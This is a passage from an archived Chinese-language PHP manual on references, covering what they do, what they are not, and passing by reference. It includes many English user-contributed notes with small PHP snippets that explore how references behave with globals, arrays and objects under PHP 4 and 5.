Re-using variables which where references before, without unsetting them first, leads to unexpected behaviour.

The following code:

<?php

$numbers = array();

for ($i = 1; $i < 4; $i++) {
   $numbers[] = null;
   $num = count($numbers);
   $index =& $numbers[$num ? $num - 1 : $num];
   $index = $i;
}

foreach ($numbers as $index) {
   print "$index\n";
}

?>

Does not produce:
1
2
3

But instead:
1
2
2

Applying unset($index) before re-using the variable fixes this and the expected list will be produced:
1
2
3
hkmaly at bigfoot dot com
15-Sep-2004 11:11
It seems like PHP has problems with references, like that it can't work properly with circular references or free properly structure with more references. See http://bugs.php.net/?id=30053.

I have big problem with this and I hope someone from PHP add proper warning with explanation IN manual, if they can't fix it.
jlaing at gmail dot com
18-Jul-2004 11:28
While trying to do object references with the special $this variable I found that this will not work:
class foo {
  function bar() {
   ...
   $this =& $some_other_foo_obj;
  }
}

If you want to emulate this functionality you must iterate through the vars of the class and assign references like this:

$vars = get_class_vars('foo');
foreach (array_keys($vars) as $field) {
  $this->$field =& $some_other_foo_obj->$field;
}

Now if you modify values within $this they will be modified within $some_other_foo_obj and vice versa.

Hope that helps some people!

p.s.
developer at sirspot dot com's note about object references doesn't seem correct to me.

  $temp =& $object;
  $object =& $temp->getNext();

Does the same exact thing as:

  $object =& $object->getNext();

when you refernce $temp to $object all it does is make $temp an alias to the same memory as $object, so doing $temp->getNext(); and $object->getNext(); are calling the same function on the same object.  Try it out if you don't believe me.
thenewparadigm at hotmail dot com
07-May-2004 03:33
one very useful aspect for reference that i don't think i saw documented was the ability to skip a few steps with objects stored in objects.

for example:

assuming the object structure is correctly constructed (and mind you i haven't tried this in php, but it does work in most other high-end programming languages), instead of using this structure to get a variable/function

//start

$obj1 -> obj2 -> obj3 -> varX = 0;
$obj1 -> obj2 -> obj3 -> varY = 0;
$obj1 -> obj2 -> obj3 -> functionX();
$obj1 -> obj2 -> obj3 -> functionY();

//end

you can use this method:

//start

$tempObj = & $obj1 -> obj2 -> obj3;

$tempObj -> varX = 0;
$tempObj -> varY = 0;
$tempObj -> functionX();
$tempObj -> functionY();

//end

note, if you want to use a shortcut variable to modify the original object you must include the ampersand (&) to reference the variable, otherwise if you used this line of code

//start

$tempObj = $obj1 -> obj2 -> obj3;

//end

any changes you make to $tempObj will not change the original object and may compromise the object structure, not to mention that it takes up extra memory.  however, if you are just using the shortcut variable for read-only purposes, not using a reference wont cause any problems.

another alternative in programming languages is the 'with' structure as seen below

//start

with($obj1 -> obj2 -> obj3) {
   varX = 0;
   varY = 0;
   functionX();
   functionY();
}

//end

however, i don't expect this will work because as far as i've seen the 'with' structure is not supported in php.
nathan
06-Apr-2004 01:53
On the post that says php4 automagically makes references, this appears to *not* apply to objects:

http://www.php.net/manual/en/language.references.whatdo.php

"Note:  Not using the & operator causes a copy of the object to be made. If you use $this in the class it will operate on the current instance of the class. The assignment without & will copy the instance (i.e. the object) and $this will operate on the copy, which is not always what is desired. Usually you want to have a single instance to work with, due to performance and memory consumption issues."
iryoku at terra dot es
31-Mar-2004 02:22
You should have in mind that php4 keep assigned variables "automagically" referenced until they are overwritten. So the variable copy is not executed on assignment, but on modification. Say you have this:

$var1 = 5;
$var2 = $var1; // In this point these two variables share the same memory location
$var1 = 3; // Here $var1 and $var2 have they own memory locations with values 3 and 5 respectively

Don't use references in function parameters to speed up aplications, because this is automatically done. I think that this should be in the manual, because it can lead to confusion.

More about this here:
http://www.zend.com/zend/art/ref-count.php
developer at sirspot dot com
04-Feb-2004 02:30
Since references are more like hardlinks than pointers, it is not possible to change a reference to an object by using that same reference.  For example:

The following WILL NOT WORK as expected and may even crash the PHP interpreter:

$object =& $object->getNext();

However, by changing the previous statement to use a temporary reference, this WILL WORK:

$temp =& $object;
$object =& $temp->getNext();
add a note add a note

后退 | 起点 | 前进
异常处理 | 上一级 | 引用做什么


引用做什么

PHP 的引用允许用两个变量来指向同一个内容。意思是，当这样做时：

<?php
$a =& $b;
?>

这意味着 $a 和 $b 指向了同一个变量。

注: $a 和 $b 在这里是完全相同的，这并不是 $a 指向了 $b 或者相反，而是 $a 和 $b 指向了同一个地方。

注: 如果具有引用的数组被拷贝，其值不会解除引用。对于数组传值给函数也是如此。

同样的语法可以用在函数中，它返回引用，以及用在 new 运算符中（PHP 4.0.4 以及以后版本）：

<?php
$bar =& new fooclass();
$foo =& find_var($bar);
?>

注: 不用 & 运算符导致对象生成了一个拷贝。如果在类中用 $this，它将作用于该类当前的实例。没有用 & 的赋值将拷贝这个实例（例如对象）并且 $this 将作用于这个拷贝上，这并不总是想要的结果。由于性能和内存消耗的问题，通常只想工作在一个实例上面。

尽管可以用 @ 运算符来抑制构造函数中的任何错误信息，例如用 @new，但用 &new 语句时这不起效果。这是 Zend 引擎的一个限制并且会导致一个解析错误。

警告

如果在一个函数内部给一个声明为 global 的变量赋于一个引用，该引用只在函数内部可见。可以通过使用 $GLOBALS 数组避免这一点。

例子 21-1. 在函数内引用全局变量

<?php
$var1 = "Example variable";
$var2 = "";

function global_references($use_globals)
{
    global $var1, $var2;
    if (!$use_globals) {
        $var2 =& $var1; // visible only inside the function
    } else {
        $GLOBALS["var2"] =& $var1; // visible also in global context
    }
}

global_references(false);
echo "var2 is set to '$var2'\n"; // var2 is set to ''
global_references(true);
echo "var2 is set to '$var2'\n"; // var2 is set to 'Example variable'
?>
把 global $var; 当成是 $var =& $GLOBALS['var']; 的简写。从而将其它引用赋给 $var 只改变了本地变量的引用。

注: 如果在 foreach 语句中给一个具有引用的变量赋值，被引用的对象也被改变。

例子 21-2. 引用与 foreach 语句

<?php
$ref = 0;
$row =& $ref;
foreach (array(1, 2, 3) as $row) {
    // do something
}
echo $ref; // 3 - last element of the iterated array
?>

警告

复杂数组最好拷贝而不是引用。下面的例子不会如期望中那样工作。

例子 21-3. 复杂数组的引用

<?php
$top = array(
    'A' => array(),
    'B' => array(
        'B_b' => array(),
    ),
);

$top['A']['parent'] = &$top;
$top['B']['parent'] = &$top;
$top['B']['B_b']['data'] = 'test';
print_r($top['A']['parent']['B']['B_b']); // array()
?>

引用做的第二件事是用引用传递变量。这是通过在函数内建立一个本地变量并且该变量在呼叫范围内引用了同一个内容来实现的。例如：

<?php
function foo(&$var)
{
    $var++;
}

$a=5;
foo($a);
?>

将使 $a 变成 6。这是因为在 foo 函数中变量 $var 指向了和 $a 指向的同一个内容。更多详细解释见引用传递。

引用做的第三件事是引用返回。

add a note add a note User Contributed Notes
chat~kaptain524 at neverbox dot com
25-Aug-2005 12:15
Example 21-3 says that using references in "complex arrays" may not work as expected.  But I have found a way around it, to get normal reference behavior.

Compare the output of these two scripts:

<?php
for ( $i = 0; $i < 10; $i ++ ) $top[$i] = &$top;
$top['A'] = 'AAAAA'; var_dump( $top );
?>

<?php
$z = &$top;
for ( $i = 0; $i < 10; $i ++ ) $top[$i] = &$top;
$top['A'] = 'AAAAA'; var_dump( $top );
?>

Running PHP 5.0, the first generates about 157457 lines while the second only generates 2554 lines.  The only difference in the code is setting an initial reference before adding self-references inside the array.  This simple step prevents the array from being duplicated every time another self-reference is added.

I am not sure if the duplication is intentional or if it's a bug in the way references are created, but the docs certainly recognize it.
+CurTis-
23-May-2005 03:15
I know that most everyones' comments are really insightful and many have exceptional PHP code to share, but I just wanted to point out a nice little method for situations where you are not sure what your variables contain exactly.

When developing, and you hit a wall debugging, be sure to echo your variable's contents at various stages of your script, so you can more easily track down where your problem is occurring. This is especially helpful when in a complicated referencing situation (like ladoo at gmx dot at's situation below). Also, be sure to make use of print_r, it is a life-saver!

Take care,
+CurTis-
curtis
23-May-2005 03:13
I know that most everyones' comments are really insightful and many have exceptional PHP code to share, but I just wanted to point out a nice little method for situations where you are not sure what your variables contain exactly.

When developing, and you hit a wall debugging, be sure to echo your variable's contents at various stages of your script, so you can more easily track down where your problem is occurring. This is especially helpful when in a complicated referencing situation (like ladoo at gmx dot at's situation below). Also, be sure to make use of print_r, it is a life-saver!

Take care,
+CurTis-
curtis
23-May-2005 03:12
I know that most everyones' comments are really insightful and many have exceptional PHP code to share, but I just wanted to point out a nice little method for situations where you are not sure what your variables contain exactly.

When developing, and you hit a wall debugging, be sure to echo your variable's contents at various stages of your script, so you can more easily track down where your problem is occurring. This is especially helpful when in a complicated referencing situation (like ladoo at gmx dot at's situation below). Also, be sure to make use of print_r, it is a life-saver!

Take care,
+CurTis-
ladoo at gmx dot at
17-Apr-2005 05:05
I ran into something when using an expanded version of the example of pbaltz at NO_SPAM dot cs dot NO_SPAM dot wisc dot edu below.
This could be somewhat confusing although it is perfectly clear if you have read the manual carfully. It makes the fact that references always point to the content of a variable perfectly clear (at least to me).

<?php
$a = 1;
$c = 2;
$b =& $a; // $b points to 1
$a =& $c; // $a points now to 2, but $b still to 1;
echo $a, " ", $b;
// Output: 2 1
?>
miqrogroove
21-Mar-2005 05:40
More on references and globals:

String variables are not automatically passed by reference in PHP.  Some other languages, such as Visual Basic, will do that automatically for all variables.  PHP will not.

Consider the case where a function receives a global variable as a parameter and also has the same variable defined locally with the 'global' statement.  Do the parameter and global variable now reference the same memory?

No, they do not!  Passing the global variable into the function as a parameter caused a second variable to be created by default.

Here is an example of this scenario:

<?php

$teststring="Hello";
one();

function one(){
   global $teststring;
   two($teststring);
   echo $teststring;  // The value is "World"
}

function two($param){
   global $teststring;
   $teststring="World";
   echo $param;  // The value is "Hello"
   $param="Clear?";
}

?>

Enjoy
x123 t bestof dsh inter dt net
15-Dec-2004 06:42
It might be worth to note that a reference can be created to an unexisting variable, the reference is then "undefined" (NOT isset()) but when the other variable is created, the reference also gets "isset":

<?= phpversion(),
aa, isset($gg), bb, $a=&$GLOBALS[gg], isset($gg),cc,
isset($a),dd, $gg=ee, isset($gg),ff, isset($a),hh, $a
?>

prints

4.2.0RC2aabbccddee1ff1hhee

As I did not find anything about this "feature" in the doc, maybe better don't rely on it.

(but where the heck is this "undefined" reference living while it is not set ?)
php.devel at homelinkcs dot com
16-Nov-2004 07:16
In reply to lars at riisgaardribe dot dk,

When a variable is copied, a reference is used internally until the copy is modified.  Therefore you shouldn't use references at all in your situation as it doesn't save any memory usage and increases the chance of logic bugs, as you discoved.
lars at riisgaardribe dot dk
20-Jul-2004 07:49
A comment to pbaltz at NO_SPAM dot cs dot NO_SPAM dot wisc dot edu:
The following code did not work as I expected either:

while ( $row = mysql_fetch_array( $result ) ) {
  // ... do something ...

  // Now store the array $row in an array containing all rows.

  $result_array[] = &$row; // I dont want to copy - there is a lot of data in $row
}

var_dump ( $result_array ) shows that all stored values now are "false" as this is the last value of $row.
Instead the code should be:

while ( $row = mysql_fetch_array( $result ) ) {
  // ... do something ...

  $result_array[] = &$row;
  unset ( $row ); //breaks the linkage between $row and a line in $result_array
}
Hope this is understandable/usefull
phpmaster a#t cybercow #se=
21-May-2004 01:15
Regarding to what "todd at nemi dot net"  said, that you don't need to add an ampersand on code like this, because you get the same result without it.

function myClass() {
  //...some code...
  return $this;
}
$myObj =& new myClass()

I just experienced something else. I have a pretty complicated/large class relation ship in one part of our software. And when I didn't enter the ampersand I got a totally different result from my function, an array from a totaly different array.

So my suggestion is that you enter the ampersand so it looks like this.

function &getError()
{
return $this->systemError;
}

$errors = & $connection->getError();
agggka at hotmail dot com
19-Feb-2004 10:49
to jazfresh at hotmail dot com (comments from 17-Feb-2004)
You don't really need array_keys()

<?
function &findMyObjectByName($name)
{
  foreach ($this->my_array as $key => $obj)
  {
   if (0 == strcmp($name, $obj->getName()))
   { return ($my_array[$key]); }
  }
  return (null); // Not found
}
?>
jazfresh at hotmail dot com
17-Feb-2004 07:39
Say you want to search an array, with the intention of returning a reference to the value (so that the parent function can directly edit the array element). You cannot use "foreach" or "each" in the traditional way, because those functions will make a copies of the object, rather than return references to the original array element.

<?
// This will return a copy of the object, not the original!
function &findMyObjectByName($name) {
  foreach($this->my_array as $obj) {
   if($obj->getName() == $name) {
       return $obj;
   }
  }
  return null; // Not found
}
?>

To avoid this pitfall, use array_keys():

<?
// This will return a reference to the original object.
function &findMyObjectByName($name) {
  foreach(array_keys($this->my_array) as $key) {
   if($this->my_array[$key]->getName() == $name) {
       return $my_array[$key];
   }
  }
  return null; // Not found
}
?>
php-doc-21-may-2003 at ryandesign dot com
21-May-2003 09:34
To Jeb in regard to his comment from March 2003, the easier way to handle your situation -- the possibility that the server will have an older version of PHP which doesn't support $_GET -- is to include the following at the top of every page:

if (!isset($_GET)) $_GET =& $GLOBALS['HTTP_GET_VARS'];

Then just use $_GET everywhere as usual.
joachim at lous dot org
11-Apr-2003 06:46
So to make a by-reference setter function, you need to specify reference semantics _both_ in the parameter list _and_ the assignment, like this:

class foo{
   var $bar;
   function setBar(&$newBar){
     $this->bar =& newBar;
   }
}

Forget any of the two '&'s, and $foo->bar will end up being a copy after the call to setBar.
todd at nemi dot net
12-Feb-2002 03:15
tbutzon@imawebdesigner.com Makes an excellent point in his reference examples, however, what you find in practice is that you do not need the & in the function definition to actually assign the reference. It is redundant.

The proper way to return a reference is by using:

function &myClass() {
  //...some code...
  return $this;
}
$myObj =& new myClass()

...however, this produces the exact same result:

function myClass() {
  //...some code...
  return $this;
}
$myObj =& new myClass()

Apparently, the Ampersand on the assignment is all that is really needed for a reference to truly be assigned. The Ampersand on the function definition actually does nothing.
pbaltz at NO_SPAM dot cs dot NO_SPAM dot wisc dot edu
01-May-2001 04:02
Just a note for others who may run into this.  When the manual says that references are bound to the same copy of the content, it means exactly that.

So doing something like this,

$a = 1;
$b =& $a;
$b = 2;
print "$a $b";

will print '2 2'.  This can be frustrating to track down if, like me, you are used to Perl where you explicitly dereference refrences.  Since $a and $b both reference the same data, changing either, changes both.

It may be obvious to others, but if you are familiar with pointers or Perl references the automatic dereferencing can be confusing if you forget about it.
add a note add a note

后退 | 起点 | 前进
引用的解释 | 上一级 | 引用不是什么


引用不是什么

如前所述，引用不是指针。这意味着下面的结构不会产生预期的效果：

<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

这将使 foo 函数中的 $var 变量在函数调用时和 $bar 绑定在一起，但接着又被重新绑定到了 $GLOBALS["baz"] 上面。不可能通过引用机制将 $bar 在函数调用范围内绑定到别的变量上面，因为在函数 foo 中并没有变量 $bar（它被表示为 $var，但是 $var 只有变量内容而没有调用符号表中的名字到值的绑定）。可以使用引用返回来引用被函数选择的变量。

add a note add a note User Contributed Notes
jagatpreet
31-Jan-2006 03:27
In response to the example by mdiricks.

Extending the example given by mdiricks, the following code provides an explains the concept of re-referencing that is involved in making a call to function foo with the prototype foo(& var):

<!-- C re-referenced -->
<?

$a = 'eh';
$b = & $a;// $b == 'eh'
$c = & $b;// $c == 'eh'
$d = 'meh';

echo "\$a = $a\n";
echo "\$b = $b\n";
echo "\$c = $c\n";
echo "\$d = $d\n";

$c = & $d ;// $c == 'meh'
echo "\n";

echo "\$a = $a\n";
echo "\$b = $b\n";
echo "\$c = $c\n";
echo "\$d = $d\n";

?>

<!-- Value of c changed -->
<?

$a = 'eh';
$b = & $a;// $b == 'eh'
$c = & $b;// $c == 'eh'
$d = 'meh';

echo "\$a = $a\n";
echo "\$b = $b\n";
echo "\$c = $c\n";
echo "\$d = $d\n";

$c = 'meh' ;// $c == 'meh'. And also, $a = $b == 'meh'
echo "\n";

echo "\$a = $a\n";
echo "\$b = $b\n";
echo "\$c = $c\n";
echo "\$d = $d\n";

?>

This results in the following o/p:
<!-- C re-referenced -->
$a = eh
$b = eh
$c = eh
$d = meh

$a = eh
$b = eh
$c = meh
$d = meh

<!-- Value of c changed -->
$a = eh
$b = eh
$c = eh
$d = meh

$a = meh
$b = meh
$c = meh
$d = meh
DanielSan88
28-Oct-2005 11:10
I can see why there is a big debate on this. I'm hoping this will clarify it a little.

In PHP, as far as I can understand, when you assign a variable in the first place,
that variable is a refrence to the value that the variable contains.

<?php

$var = "String"; // Creates the string "String" somewhere in memory.
echo $var;

/* When the echo function is called, it pulls the value of $var out of memory from wherever PHP decided to put it.
PHP then ships this value off to your standard output. */

?>

Anyway, when you create a reference to the variable $var,
it doesn't reference the variable's name, but rather its contents.

For example:

<?php

$var2 = & $var;
echo $var2;
/* Calling this echo does ecactly the same thing as the echo in the code snippet above this one.
Whether you echo $var or $var2, the same string in memory is sent to your standard output. */

?>

In the same sense of an array, $var and $var2 are like keys to the same value. The value being the string in memory.

When you call a function that uses a reference, the reference is not less than the variable given as the argument, or anything more than it.
It is that same variable except with a different name.
mdirks at gulfstreamcoach dot com
21-Oct-2005 11:40
Here's a thought to settle the whole (are/aren't) debacle...

References are *like* pointers, but are not *identical to* pointers. The best comparison I could give is that references are "scope-limited pointers". You can change the value of one variable by changing the other as long as it is in the same scope. Once you set outside that scope (i.e. calling a function), references cease to act the same as pointers.

Example 1:
$a = 'eh';
$b = & $a;// $b == 'eh'
$c = & $b;// $c == 'eh'
$a = 'meh';// $c == 'meh'

... changing a's value will change c's value. This is where references are like pointers in C/C++

Example 2:
$GLOBALS["b"] = 'b_val';
$c = 'c_val';

function foo (&$var)
{
   $var =& $GLOBALS["b"]; //affects only 'var' copy
}

$GLOBALS["b"] = & $a; // $GLOBALS["b"] == 'a_val'
foo($c); // the value of c will remain 'c_val'

... It might help to think of it in a different way. A calling the function by reference mimics the following behavior:
$var = & $c;

... so when you if you execute this line in foo():
$var =& $GLOBALS["b"];
, you are just re-referencing var from what it was "referenced to" at the function call to a new reference.

This is where references are *not* like pointers in C/C++ as the value of c is not changed as it would be if a similiar function that implemented pointers were used.

I hope this clears up the confusion.
mstasak at access4less dot net
11-Jul-2005 10:18
Note references in array elements behave very much the same as pointers.  The following seems to defy the simple definition of array assignment as copy-by-value:

unset($a);
unset($b);

$a[1]=1;
$a[2]=&$a[1];

$b=$a;
$b[2]=7;

print_r($a);
Array
(
   [1] => 7
   [2] => 7
)
print_r($b);
Array
(
   [1] => 7
   [2] => 7
)

- so array assignment is a very shallow copy-by-value, which preserves reference associations in any array elements.  Oddly, I believe PHP lacks a deep array-copy-by-value function.
fzamperini_at_tin.it
16-Jun-2005 05:35
References are not like pointers.

If you try the example above in C/C++ you will find that after calling foo(var) you can get or set the value of $GLOBALS["baz"] by reading or writing variable 'var' (I didn't actually try it, but I vaguely remember it works this way).
In PHP this is also true if you do:

<?PHP
   $var =& $GLOBALS["baz"];
?>

but *IT IS NOT* if you use a function to do that, in spite of
- using a reference as a parameter (function foo(&$var)) and
- assigning it a reference to the variable you want to bind ($var =& $GLOBALS["baz"]) inside the function

I tried this:

<?PHP
$GLOBALS["baz"] = 'globals_baz';
$bar = 'bar';

function foo (&$var)
{
   $var =& $GLOBALS["baz"];
}

// Before 'binding' $bar to $GLOBALS["baz"] using a function
echo '$GLOBALS[baz]: ' . $GLOBALS["baz"] . "<BR>\n";    // Output is 'globals_baz'
echo "\$bar: $bar <BR>\n";    // Output is 'bar'

foo($bar);

// After (what you may expected to be a) binding you should see that $bar is the same as $GLOBALS[baz]:
echo "\$bar: $bar <BR>\n"; // it didn't work: output is still 'bar' (not 'globals_baz')

// And setting $bar should set $GLOBALS[baz]:
$bar = 'bar';
echo '$GLOBALS[baz]: ' . $GLOBALS["baz"] . "<BR>\n"; // it didn't work, too: output is still 'globals_baz' (not 'bar')
?>

If you change the calling of foo($bar) with $bar =& $GLOBALS["baz"]; it all works as expected.
So the assertion, "references are not like pointers," might be a bit confusing but it is fair.
nicolas at serpe dot org
25-May-2004 01:47
About ansonyumo at email dot com second example, output will be 99, not 9.
ansonyumo at email dot com
28-Feb-2004 05:47
The assertion,  "references are not like pointers," is a bit confusing.

In the example, the author shows how assigning a reference to a formal parameter that is also a reference does not affect the value of the actual parameter. This is exactly how pointers behave in C. The only difference is that, in PHP, you don't have to dereference the pointer to get at the value.

-+-+-
int bar = 99;

void foo(int* a)
{
   a = &bar;
}

int main()
{
   int baz = 1;
   foo(&baz);
   printf("%d\n", baz);
   return 0;
}
-+-+-

The output will be 1, because foo does not assign a value to the dereferenced formal parameter. Instead, it reassigns the formal parameter within foo's scope.

Alternatively,
-+-+-
int bar = 99;

void foo(int* a)
{
   *a = bar;
}

int main()
{
   int baz = 1;
   foo(&baz);
   printf("%d\n", baz);
   return 0;
}
-+-+-

The output will be 9, because foo dereferenced the formal parameter before assignment.

So, while there are differences in syntax, PHP references really are very much like pointers in C.

I would agree that PHP references are very different from Java references, as Java does not have any mechanism to assign a value to a reference in such a way that it modifies the actual parameter's value.
schultz __at__ widescreen __dot__ ch
26-Jan-2004 11:57
A not so simple Workaround...but still doable...have fun

class My{
   var $value;

   function get1(&$ref){
       $ref[] =& $this;
   }

   function get2(&$ref){
       $ref =& $this;
   }

   function get3(&$ref){
       $ref = $this;
   }
}

$m = new My();

$m->value = 'foo';
$m->get1($ref=array());
$m1 =& $ref[0];
$m1->value = 'bar';
echo "\n".'Works but is ugly...';
echo "\n".' m:'. get_class($m) . '->value = '. $m->value;
echo "\n".' m1:'. get_class($m1) . '->value = '. $m1->value;

echo "\n".'Does not work because references are not pointers...';
$m->value = 'foo';
$m->get2($m2);
$m2->value = 'bar';
echo "\n".' m:'. get_class($m) . '->value = '. $m->value;
echo "\n".' m2:'. get_class($m2) . '->value = '. $m2->value;

$m->value = 'foo';
$m->get3($m3);
$m3->value = 'bar';
echo "\n".'Does not work becuase it is set to a copy';
echo "\n".' m:'. get_class($m) . '->value = '.$m->value;
echo "\n".' m3:'. get_class($m3) . '->value = '. $m3->value;
christian at kno dot at
13-Oct-2001 09:04
As said above references are not pointers.

Following example shows a difference between pointers and references.

This Code
<?
   $b = 1;
   $a =& $b;

   print("<pre>");
   print("\$a === \$b: ".(($a === $b) ? "ok" : "failed")."\n");
   print("unsetting \$a...\n");
   unset($a);
   print("now \$a is ".(isset($a) ? "set" : "unset")." and \$b is ".(isset($b) ? "set" : "unset")."\n");
   print("</pre>");

   $b = 1;
   $a =& $b;

   print("<pre>");
   print("\$a === \$b: ".(($a === $b) ? "ok" : "failed")."\n");
   print("unsetting \$b...\n");
   unset($b);
   print("now \$a is ".(isset($a) ? "set" : "unset")." and \$b is ".(isset($b) ? "set" : "unset")."\n");
   print("</pre>");
?>

will produce this output:
---------
$a === $b: ok
unsetting $a...
now $a is unset and $b is set

$a === $b: ok
unsetting $b...
now $a is set and $b is unset
---------

So you see that $a and $b are identical ($a === $b -> true), but if one of both is unset, the other is not effected.
add a note add a note

后退 | 起点 | 前进
引用做什么 | 上一级 | 引用传递


引用传递

可以将一个变量通过引用传递给函数，这样该函数就可以修改其参数的值。语法如下：

<?php
function foo(&$var)
{
    $var++;
}

$a=5;
foo($a);
// $a is 6 here
?>

注意在函数调用时没有引用符号――只有函数定义中有。光是函数定义就足够使参数通过引用来正确传递了。在最近版本的 PHP 中如果把 & 用在 foo(&$a); 中会得到一条警告说“Call-time pass-by-reference”已经过时了。

以下内容可以通过引用传递：

  • 变量，例如 foo($a)

  • New 语句，例如 foo(new foobar())

  • 从函数中返回的引用，例如：

    <?php
    function &bar()
    {
            $a = 5;
        return     $a;
    }
    foo(bar());
    ?>

    详细解释见引用返回。

任何其它表达式都不能通过引用传递，结果未定义。例如下面引用传递的例子是无效的：

<?php
function bar() // Note the missing &
{
    $a = 5;
    return $a;
}
foo(bar()); // 自 PHP 5.1.0 起导致致命错误
foo($a = 5) // 表达式，不是变量
foo(5) // 导致致命错误
?>

这些条件是 PHP 4.0.4 以及以后版本有的。

add a note add a note User Contributed Notes
05-Nov-2005 10:16
<?php
function stripzeros($var) {
 if($var < '10') {
  $var = substr($var, 1);
 }
 return $var;
}

$day = '04';
$day = stripzeros($day);
echo $day."\n"; // 4 -- as expected

$day = '04';
stripzeros(&$day);
echo $day."\n"; // 4 -- another way to do the above, $day is altered

$day = '04';
$newday = stripzeros(&$day);
echo $newday."\n"; // 4
echo $day."\n"; // 4  here the reference effectively set $day = $newday

$day = '04';
$newday = stripzeros($day);
echo $newday."\n"; // 4
echo $day."\n"; // 04 -- with this method you can apply the function to the string and keep the original string

?>
Michael Muryn
27-Sep-2005 06:24
I was tempted to refactor bobbykjack's sample by 1st changing $null to null (which I think is better semantiquely than '' even if equivalent).  However I noticed that this could produce the same error (well behavior that lead to think there is an error) that make me come here in the first place.  Just follow the code and notice how I reuse the $null and then set the parent node to the grand_parent.  Yes, I have not done it by reference intentionnally.  However, the solution will either be to keep the if and never reference the $null else always set a variable by reference when it need to.  But there is case where you want to affect a variable directly and do not forget that it reference the same memory than maybe a lot of variable.

However, always be aware that if you pass by reference.  If you modify the variable (and not affect a new reference to the variable name) that you are affecting all variable that reference the same data.

<?php
/**
* To test the discussion at http://www.php.net/manual/en/language.references.pass.php
*/
class tree
{
   var $parentNode;
   var $childNodes;

   function tree(&$parentNode)
   {
       //if (isset($parentNode))
       //{
           $this->parentNode =& $parentNode;
       //}
   }
}

$null = null;
$parent = new tree($null);
$child = new tree($parent);

echo '<pre>';
print_r($child);
echo '</pre>';

$grand_parent = new tree($null);
$parent->parentNode = $grand_parent; // if I was doing it by reference here, all would work fine

echo '<pre>';
print_r($null);
echo '</pre>';
?>
rmarscher
16-Sep-2005 06:42
Not sure if this is obvious to everyone, but if you pass an object by reference into a function and then set that variable to the reference of a new object, the initial variable outside the function is still pointing to the original object.

It became obvious to me why this is the case when I made a little diagram of what's actually happening in the system's memory, but before that when I was just looking at the code, it took me a while of testing before I realized what was going on.

Here's an example (I haven't tried in PHP5, but I would guess it works the same):
<?php
class Foo {}
class Bar {}

function & createBar()
{
  return new Bar;
}

function setBar(& $obj)
{
  echo get_class($obj) . "\n";
  $obj = & createBar();
  echo get_class($obj) . "\n";
}

$test = new Foo;
setBar($test);
echo get_class($test);
?>

Outputs:
foo
bar
foo
andrzej dot martynowicz at gmail dot com
11-Sep-2005 03:15
As bobbykjack at hotmail dot com noticed 'reference parameters cannot be assigned a default value'. Yes, but I've found a workaround to this problem. The idea is to create object that will hold the reference and pass the instance of this 'Reference object' as a desired parameter (which is not preceded by & operator). One can then extract the refernce from passed 'Reference object'. See below how this works..

<?
class Ref {
   var $ref;

   function Ref( &$reference ) {
       $this->ref = &$reference;
   }
}

function myFunc( $param = null ) {
   $param = &$param->ref; // notice & operator here
   $param = 'php';
}

$foo = 'foo';

myFunc( new Ref( $foo ));

echo $foo; // outputs: php
?>
bobbykjack at hotmail dot com
03-Sep-2005 06:44
In response to mogmios, I think the problem may be similar to one I experienced. It seems that reference parameters cannot be assigned a default value and, taking into account what can be passed by reference, the only way I could achieve this functionality was with the following code:

<?php
class tree
{
   var $parentNode;
   var $childNodes;

   function tree(&$parentNode)
   {
       if ($parentNode)
           $this->parentNode =& $parentNode;
   }
}

$null = '';
$parent = new tree($null);
$child = new tree($parent);

echo '<pre>';print_r($child);echo '</pre>';
?>

It's a nasty hack, but I cannot find a good alternative. The above script produces the following output:

tree Object
(
   [parentNode] => tree Object
       (
           [parentNode] =>
           [childNodes] =>
       )

   [childNodes] =>
)

which is sparse, but technically correct (you can test this by expanding the implementation and making use of $childNodes).

Note that this was tested under PHP 4.3.10 and PHP 5 has almost certainly changed this behaviour.
Andy Morris
27-May-2005 05:10
"jbr at diasparsoftware dot com" spotted something strange when calling call_user_func() where the user function was declared as expecting a reference and seemed to contradict the manual. Actually, the manual says that parameters to call_user_func() aren't passed as references, which I take to mean that if you declare your user function as expecting a parameter by reference, this won't work. In jbr's test code, this doesn't work - so this part isn't a surprise.

However, the manual goes on to say that the way out of the problem is to use call_user_func_array() and pass the parameter by reference in an array instead. For example, see this code (from the call_user_func manual page)...

<?php
function increment(&$var)
{
   $var++;
}

$a = 0;
call_user_func('increment', $a);
echo $a; // 0

call_user_func_array('increment', array(&$a)); // You can use this instead
echo $a; // 1

// I've added this call to illustrate something strange...
call_user_func('increment', &$a);  // but look - just adding & works too!
echo $a; // 2

?>

The strange thing that "jbr at diasparsoftware dot com" discovered is that you don't actually have to use call_user_func_array() at all, so long as you explicitly specify the variable to be passed by reference when actually calling your function via call_user_func().

Is this just a lucky coincidence? I'm still hunting in the manual to see whether this really is just lucky, or a simpler correct way to do it.
mogmios at mlug dot missouri dot edu
12-May-2005 01:33
References don't seem to work correctly with objects. I don't seem to be able to nest objects such that each child has a reference to it's parent.

The below seems to not work.

class tree {
  var $parentNode;
  var $childNodes;
  function tree ( &$parentNode = None ) {
   $this->parentNode =& $parentNode;
  }
}
$parent = new tree ();
$child = new tree ( $parent );
pillepop2003 at yahoo dot de
14-Feb-2005 12:08
PHP has a strange behavior when passing a part of an array by reference, that does not yet exist.

<?php
   function func(&$a)
   {
       // void();
   }

   $a['one'] =1;
   func($a['two']);
?>

var_dump($a) returns

   array(2) {
       ["one"]=>
       int(1)
       ["two"]=>
       NULL
   }

...which seems to be not intentional!
obscvresovl at NOSPAM dot hotmail dot com
26-Dec-2004 02:51
Just a simple note...

<?

$num = 1;

function blah(&$var)
{
   $var++;
}

blah($num);

echo $num; #2

?>

<?

$num = 1;

function blah()
{
   $var =& $GLOBALS["num"];
   $var++;
}

blah();

echo $num; #2

?>

Both codes do the same thing! The second code "explains" how passage of parameters by reference works.
jbr at diasparsoftware dot com
29-Sep-2004 12:46
Strangely enough, I had to put "&" on the call site, but not on the function parameter list, in order to get this to work. Here is the code:

<?php
class TestRunner {
   var $passed;
   var $failed;
   var $tests;

   function TestRunner() {
       $this->passed = 0;
       $this->failed = 0;
       $this->tests = array();
   }

   function addTest($test) {
       $this->tests[] = $test;
   }

   function signalFailed() {
       $this->failed++;
   }

   function runTests() {
       foreach ($this->tests as $i => $eachName) {
           call_user_func($eachName, &$this);
       }
   }

   function report() {
       ?>
        <p><?= count($this->tests) ?> run, <?= $this->passed ?> passed, <?= $this->failed ?> failed</p>
       <?php
   }
}

function testNullStringIsEmpty($testRunner) {
   $testRunner->signalFailed();
}

$testRunner = new TestRunner;
